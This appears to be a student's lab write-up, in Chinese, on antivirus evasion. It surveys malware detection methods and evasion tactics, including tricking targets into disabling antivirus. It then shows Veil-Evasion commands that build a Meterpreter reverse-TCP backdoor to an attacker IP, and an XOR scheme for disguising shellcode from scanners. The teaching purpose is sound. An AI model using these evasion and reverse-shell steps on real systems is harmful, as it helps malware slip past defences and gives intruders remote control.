作者:陈建希佳旭 | 来源:互联网 | 2023-10-12 16:49
20145218张晓涵免杀原理与实践基础知识如何检测出恶意代码基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后
20145218张晓涵 免杀原理与实践
基础知识
- 如何检测出恶意代码
- 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
- 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
- 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
- 什么是免杀及如何进行免杀
- 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
- 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
- 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
- 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件
- 改变行为
- 通讯方式
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
实验过程
采用免杀平台Veil-Evasion生成后门软件
- Veil-Evasion是一个免杀平台,输入
veil-evasion
,进入软件,输入以下指令:
use python/meterpreter/rev_tcp
set LHOST 192.168.80.130
//设置攻击机IP
set LPOST 443
//设置端口
generate
//生成exe文件
- Please enter the base name for output files (default is 'payload'):
5218
// 程序名
- 1 //这里一共有1、2、3三种选择,一般选择1是默认配置
生成完后如图所示:(文件名和路径名在下图绿字显示)
将.exe文件拷贝出来到靶机上,放在某个路径下(保证杀毒软件开启),发现被查杀,然后找回原文件。
用VirSCAN.org进行检测
kali成功获取权限
其实可以看出,免杀平台生成的软件还是会被杀掉,所以自己修改shellcode才是王道。
C语言调用Shellcode
修改shellcode
- 用指令生成的shellcode数组,仍是会被发现,所以我们可以对这个数组做一些变化,比如对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010
将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了
用VirSCAN.org进行检测
kali成功获取权限
实验思考
- 离实战还缺些什么技术或步骤
- 我们的病毒被查杀的几率还是很大,而杀软病毒库一直在更新,我们新编的可能用不了几天就被发现了,所以我们如果能自己编还是比较牛的。
- 实验总结与体会
- 我们以前就是总以为有了防火墙和各种杀毒软件就可以了,电脑也从来不更新升级,不修补漏洞,现在想想真的很后怕,说不定自己的电脑已经不安全了。这些实验不光教给我们如何做免杀,更是要注意自身的安全